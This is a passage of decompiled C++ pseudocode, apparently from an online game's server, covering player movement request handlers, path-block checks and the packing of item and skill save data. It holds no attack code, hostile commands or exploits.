ProtocolPacket::pp_SendPacket(&gpp, v22); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v19); } if ( from >= bufd ) { --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 1; } } v23 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::so_SaveItem_Part : MiniHouse Skin Inven Fail. will be disconnect."); DebugLogging::operator<<(v23, &deb_LF); (*(void (__stdcall **)(signed int, _DWORD, _DWORD))(*(_DWORD *)v27 + 1520))(1676, 0, 0); LABEL_39: --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 0; } //----- (0044A0C0) -------------------------------------------------------- void __thiscall WholeSaver::WholeSaver(WholeSaver *this) { WholeSaver *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 int v4; // edi@2 int v5; // edi@2 v1 = this; this->ws_savestorepoint.mask = 2047; this->ws_savestorepoint.value = 0; _eh_vector_constructor_iterator_( this->ws_savestore, 0x148A8u, 2048, (void (__thiscall *)(void *))EventSaveCheck::EventSaveCheck, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098432)) = (unsigned int)&EventSaveCheck::_vftable_; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098471)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098467)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098463)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098495)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098491)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098487)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163134552)) = (unsigned int)((char *)v1 + (_DWORD)((char *)&wholesaver + 163098544)); *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163182564)) = (unsigned int)((char *)v1 + (_DWORD)((char *)&wholesaver + 163134556)); v2 = (int)&v1->ws_savestore[0].esc_abstate.pnt; v3 = 2048; do { v4 = *(_DWORD *)v2; *(_DWORD *)(v2 - 36114) = -1; *(_DWORD *)(v4 + 2) = -1; v5 = *(_DWORD *)(v2 + 48012); v2 += 84136; --v3; *(_DWORD *)(v5 + 2) = -1; } while ( v3 ); } // 63DE2C: using guessed type int (*EventSaveCheck___vftable_)(); //----- (0044A170) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_FillSaveBuffer(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *buf, int SkillSaveCheck) { CharaterSkillList *v3; // ebp@1 int v4; // edi@1 PROTO_NC_CHARSAVE_SKILL_REQ *v5; // esi@1 unsigned int v6; // eax@2 CharaterSkillList::CharSkill *v7; // ecx@3 unsigned int v8; // ebx@6 DebugLogging *v9; // ecx@8 _iobuf *v10; // eax@10 _iobuf *v11; // eax@16 int v12; // eax@17 int v13; // eax@17 int v14; // eax@17 int sklid; // [sp+Ch] [bp-18h]@1 int cur; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v18; // [sp+20h] [bp-4h]@1 DebugLogging *bufa; // [sp+28h] [bp+4h]@8 v3 = this; _.fe_FunctionCode = "CharaterSkillList::csl_FillSaveBuffer"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_FillSaveBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v18 = 0; mysecond(&cur); v5 = buf; buf->number = 0; sklid = 0; if ( v3->csl_SkillNumber > 0 ) { v6 = clockwatch.cw_CurrTick; while ( 1 ) { v7 = v3->csl_Skill._Myfirst; if ( v7[v4].cs_EndOfCooltime > v6 ) break; if ( v7[v4].cs_bSave || SkillSaveCheck != 1 ) { v8 = 0; v7[v4].cs_bSave = 0; LABEL_17: *(_DWORD *)&v5[2 * v5->number + 1].handle.bufferlocation = cur; HIWORD(v5[2 * v5->number + 1].handle.chrregnum) = v3->csl_Skill._Myfirst[v4].cs_SkillId; *(_DWORD *)&v5[2 * v5->number + 1].number = v8; v12 = (int)&v5[2 * v5->number + 2].handle.chrregnum; *(_BYTE *)v12 ^= (*(_BYTE *)v12 ^ LOBYTE(v3->csl_Skill._Myfirst[v4].cs_Empower._bf0)) & 0xF; v13 = (int)&v5[2 * v5->number + 2].handle.chrregnum; *(_BYTE *)v13 = *(_BYTE *)v13 & 0xF | 16 * ((unsigned int)v3->csl_Skill._Myfirst[v4].cs_Empower._bf0 >> 4); BYTE1(v5[2 * v5->number + 2].handle.chrregnum) ^= (BYTE1(v5[2 * v5->number + 2].handle.chrregnum) ^ HIBYTE(v3->csl_Skill._Myfirst[v4].cs_Empower._bf0)) & 0xF; v14 = (int)((char *)&v5[2 * v5->number + 2].handle.chrregnum + 1); *(_BYTE *)v14 = *(_BYTE *)v14 & 0xF | 16 * ((unsigned __int16)v3->csl_Skill._Myfirst[v4].cs_Empower._bf0 >> 12); *(unsigned int *)((char *)&v5[2 * v5->number++ + 2].handle.chrregnum + 2) = v3->csl_Skill._Myfirst[v4].cs_Mastery; if ( 16 * (unsigned int)v5->number + 24 > 0x1F40 ) goto LABEL_20; v6 = clockwatch.cw_CurrTick; } ++v4; ++sklid; if ( sklid >= v3->csl_SkillNumber ) goto LABEL_20; } v8 = (v7[v4].cs_EndOfCooltime - v6) / 0xA; v7[v4].cs_bSave = 1; if ( (signed int)v8 > 10800 ) { v9 = DebugLogging::operator<<(&SkillCoolTimeLog, "CharaterSkillList::csl_FillSaveBuffer : Too long cooltime "); bufa = v9; if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = bufa->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); v9 = bufa; } if ( DebugLogging::dl_ActivAll && v9->dl_Activ && v9->dl_FilePointer ) { v11 = DebugLogging::dl_FilePoint(v9); fputc(10, v11); fflush(bufa->dl_FilePointer); fclose(bufa->dl_FilePointer); bufa->dl_FilePointer = 0; } } } goto LABEL_17; } LABEL_20: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0044A420) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveSkill(void *this, int buffer, int SkillSaveCheck) { void *v3; // esi@1 unsigned __int16 v4; // ax@1 int v5; // esi@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveSkill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveSkill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharaterSkillList::csl_FillSaveBuffer( (CharaterSkillList *)((char *)v3 + 68496), (PROTO_NC_CHARSAVE_SKILL_REQ *)buffer, SkillSaveCheck); v4 = *(_WORD *)(buffer + 6); if ( v4 ) v5 = 16 * v4 + 8; else v5 = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveSkill"); return v5; } //----- (0044A4E0) -------------------------------------------------------- char __thiscall MoveManager::mm_DuringMove(MoveManager *this) { return this->mm_fullTime_ms != 0; } //----- (0044A4F0) -------------------------------------------------------- char __thiscall MoveManager::mm_IsInReinforceMove(MoveManager *this) { char result; // al@2 if ( this->mm_fullTime_ms ) result = this->mm_state == 3; else result = 0; return result; } //----- (0044A510) -------------------------------------------------------- void __thiscall BriefInfoBackup::bib_Backup(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape) { if ( !this->bib_Backuped ) { memcpy(this, shape, 0x2Fu); this->bib_Backuped = 1; } } //----- (0044A540) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(int this, int to) { char v2; // al@1 int v3; // edi@1 bool v4; // zf@1 v2 = MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)(this + 98) + 20), *(_DWORD *)to, *(_DWORD *)(to + 4), 1); v3 = (unsigned __int8)v2; v4 = v2 == 0; if ( !v2 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", *(_DWORD *)to, *(_DWORD *)(to + 4)); v4 = v3 == 0; } return !v4; } //----- (0044A590) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(int this, int from) { int v2; // ecx@1 int v3; // eax@1 int v4; // ecx@1 v2 = *(_DWORD *)(this + 78); v3 = *(_DWORD *)v2; v4 = *(_DWORD *)(v2 + 4) - *(_DWORD *)(from + 4); return (unsigned int)((v3 - *(_DWORD *)from) * (v3 - *(_DWORD *)from) + v4 * v4) <= 0x9C40; } //----- (0044A5C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck(void *this, int pFrom, int nBlockCnt, int nMaxBlock) { unsigned int v4; // ebp@1 void *v5; // esi@1 int v6; // ecx@1 int v7; // eax@1 int v8; // edi@1 int v9; // edx@1 int v10; // ecx@3 int v11; // eax@3 int v12; // ebx@4 unsigned int v13; // edi@6 unsigned int v14; // edi@13 int v16; // eax@23 int v17; // ecx@23 int v18; // ebx@24 unsigned int v19; // edi@26 float v20; // [sp+3Ch] [bp-14h]@5 float v21; // [sp+3Ch] [bp-14h]@25 int nToY; // [sp+40h] [bp-10h]@1 unsigned int nToYa; // [sp+40h] [bp-10h]@5 unsigned int nToX; // [sp+44h] [bp-Ch]@1 unsigned int nToXa; // [sp+44h] [bp-Ch]@25 float v26; // [sp+48h] [bp-8h]@5 float v27; // [sp+48h] [bp-8h]@25 int pFroma; // [sp+54h] [bp+4h]@4 int pFromb; // [sp+54h] [bp+4h]@24 float nBlockCnta; // [sp+58h] [bp+8h]@5 float nBlockCntb; // [sp+58h] [bp+8h]@25 v4 = *(_DWORD *)nBlockCnt; v5 = this; v6 = *(_DWORD *)pFrom; v7 = *(_DWORD *)(pFrom + 4); v8 = *(_DWORD *)(pFrom + 4) - *(_DWORD *)(nBlockCnt + 4); nToY = *(_DWORD *)(nBlockCnt + 4); v9 = *(_DWORD *)(nBlockCnt + 4); nToX = *(_DWORD *)nBlockCnt; if ( (v6 - v4) * (v6 - v4) > v8 * v8 ) { if ( v6 > v4 ) { v10 = v4 ^ v6; v4 ^= v10; v11 = nToY ^ v7; v9 = v11 ^ nToY; v6 = v4 ^ v10; nToX = v4; v7 = v11 ^ nToY ^ v11; } v12 = v6 + 1; pFroma = 0; if ( v6 + 1 < v4 ) { nBlockCnta = (double)(unsigned int)v7; v20 = (double)(unsigned int)v6; nToYa = v6 - 9; v26 = ((double)(unsigned int)v9 - nBlockCnta) / ((double)v4 - v20); while ( 1 ) { v13 = (unsigned __int64)(((double)(unsigned int)v12 - v20) * v26 + nBlockCnta); if ( MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13, 1) ) goto LABEL_16; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", v12, v13); if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa + 20, v13) ) { if ( !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa + 20, v13) ) break; } if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa, v13) && !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa, v13) ) break; if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13 + 10) && !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13 + 10) ) break; v14 = v13 - 10; if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v14) ) { if ( !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v14) ) break; } ++pFroma; if ( pFroma >= nMaxBlock ) return 1; v4 = nToX; LABEL_17: ++v12; ++nToYa; if ( v12 >= v4 ) return 0; } v4 = nToX; LABEL_16: pFroma = 0; goto LABEL_17; } return 0; } if ( v7 == nToY ) return 0; if ( v7 > (unsigned int)v9 ) { v16 = nToY ^ v7; v9 = v16 ^ nToY; v17 = v4 ^ v6; v4 ^= v17; v7 = v16 ^ nToY ^ v16; nToY = v9; v6 = v4 ^ v17; } v18 = v7 + 1; pFromb = 0; if ( v7 + 1 >= (unsigned int)v9 ) return 0; v21 = (double)(unsigned int)v6; nBlockCntb = (double)(unsigned int)v7; nToXa = v7 - 9; v27 = ((double)v4 - v21) / ((double)(unsigned int)v9 - nBlockCntb); do { v19 = (unsigned __int64)(((double)(unsigned int)v18 - nBlockCntb) * v27 + v21); if ( !MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, v18, 1) && ((AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", v19, v18), MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 + 10, v18)) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 + 10, v18)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 - 10, v18) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 - 10, v18)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa + 20) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa + 20)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa)) ) { ++pFromb; if ( pFromb >= nMaxBlock ) return 1; } else { pFromb = 0; } ++v18; ++nToXa; } while ( v18 < (unsigned int)nToY ); return 0; } //----- (0044A990) -------------------------------------------------------- void __thiscall AxialListMobDistribute::_AxialListMobDistribute(AxialListMobDistribute *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobDistribute::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 63E028: using guessed type int (__stdcall *AxialListMobDistribute___vftable_)(int, int, int distancesquar); //----- (0044A9A0) -------------------------------------------------------- #error "44A9A0: undefined or illegal type '#593' (funcsize=32)" //----- (0044AA10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // edx@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8266; v3 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"); } //----- (0044AB00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@9 int v6; // ecx@9 int v7; // eax@9 bool v8; // al@12 int v9; // edx@12 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v11; // [sp+14h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; if ( !(_S7_47 & 1) ) { _S7_47 |= 1u; cmc_23.cmc_AllowMode = 70; atexit(_E8_36); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & cmc_23.cmc_AllowMode) ) goto LABEL_6; if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); return; } if ( *(_DWORD *)(v4 + 264) && *(_DWORD *)(v4 + 236) == 3 ) goto LABEL_11; v5 = netcmd + 2; MoveManager::mm_Step((MoveManager *)(v4 + 232), 1); v6 = *(_DWORD *)(v4 + 78); v7 = *(_DWORD *)(v6 + 4) - *(_DWORD *)(netcmd + 6); if ( (unsigned int)((*(_DWORD *)v6 - *(_DWORD *)v5) * (*(_DWORD *)v6 - *(_DWORD *)v5) + v7 * v7) > 0x9C40 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 3500))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2648))(v4); LABEL_11: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); return; } v8 = ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, v5); v9 = *(_DWORD *)v4; if ( v8 ) { (*(void (__thiscall **)(int))(v9 + 2644))(v4); } else { (*(void (__thiscall **)(int))(v9 + 3500))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2648))(v4); } v11 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0044ACD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@9 int v6; // edi@9 int v7; // ebp@9 char *v8; // eax@9 int v9; // edx@9 int v10; // ST04_4@9 int v11; // eax@9 int v12; // edx@9 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@9 int v14; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S9_13 & 1) ) { _S9_13 |= 1u; cmc_24.cmc_AllowMode = 70; atexit(_E10_7); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_24.cmc_AllowMode) || *((_BYTE *)v4 + 7428) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) goto LABEL_8; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ : Invalid map", 0); LABEL_8: --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = *(_DWORD *)(v5 + 4); ShineObjectClass::ShineObject::so_MoveTo(v4, *(_DWORD *)(netcmd + 10), *(_DWORD *)(netcmd + 14), 2); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8196; *((_WORD *)v8 + 1) = handle; *((_DWORD *)v8 + 1) = v6; *((_DWORD *)v8 + 2) = v7; v9 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v8 + 3) = *(_DWORD *)v9; *((_DWORD *)v8 + 4) = *(_DWORD *)(v9 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 20); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); v12 = *((_DWORD *)v4 + 8040) + 80; *(_WORD *)v12 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v12 + 2) = byte_130BDA42; LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); } // 446BD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044AEB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@9 int v6; // edi@9 int v7; // ebp@9 char *v8; // eax@9 int v9; // edx@9 int v10; // ST04_4@9 int v11; // eax@9 int v12; // edx@9 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@9 int v14; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S11_12 & 1) ) { _S11_12 |= 1u; cmc_25.cmc_AllowMode = 70; atexit(_E12_11); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_25.cmc_AllowMode) || *((_BYTE *)v4 + 7428) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) goto LABEL_8; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ : Invalid map", 0); LABEL_8: --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = *(_DWORD *)(v5 + 4); ShineObjectClass::ShineObject::so_MoveTo(v4, *(_DWORD *)(netcmd + 10), *(_DWORD *)(netcmd + 14), 3); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8198; *((_WORD *)v8 + 1) = handle; *((_DWORD *)v8 + 1) = v6; *((_DWORD *)v8 + 2) = v7; v9 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v8 + 3) = *(_DWORD *)v9; *((_DWORD *)v8 + 4) = *(_DWORD *)(v9 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 20); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); v12 = *((_DWORD *)v4 + 8040) + 80; *(_WORD *)v12 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v12 + 2) = byte_130BDA42; LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); } // 446BD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044B090) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 signed int v5; // esi@1 unsigned __int8 v6; // al@6 int v7; // edx@8 void *v8; // edi@13 int v9; // edi@14 char *v10; // eax@15 int v11; // ST04_4@15 int v12; // eax@15 int v13; // edx@15 char *v14; // [sp-4h] [bp-2Ch]@5 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@15 int v16; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !(_S13_21 & 1) ) { _S13_21 |= 1u; cmc_26.cmc_AllowMode = 6; atexit(_E14_16); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_26.cmc_AllowMode) ) goto LABEL_12; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ : Invalid map", 0); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; goto LABEL_16; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); v6 = *(_BYTE *)(netcmd + 2); v7 = v6 == 1 || v6 == 2; if ( !v7 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ : Try to set invalid mode", v6); LABEL_12: v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; goto LABEL_16; } **((_BYTE **)v4 + 892) = v6; v8 = (void *)(*((_DWORD *)v4 + 8040) + 29); if ( *((_BYTE *)v4 + 139547) ) { memcpy(v8, (char *)v4 + 139500, 0x2Cu); v9 = (int)((char *)v8 + 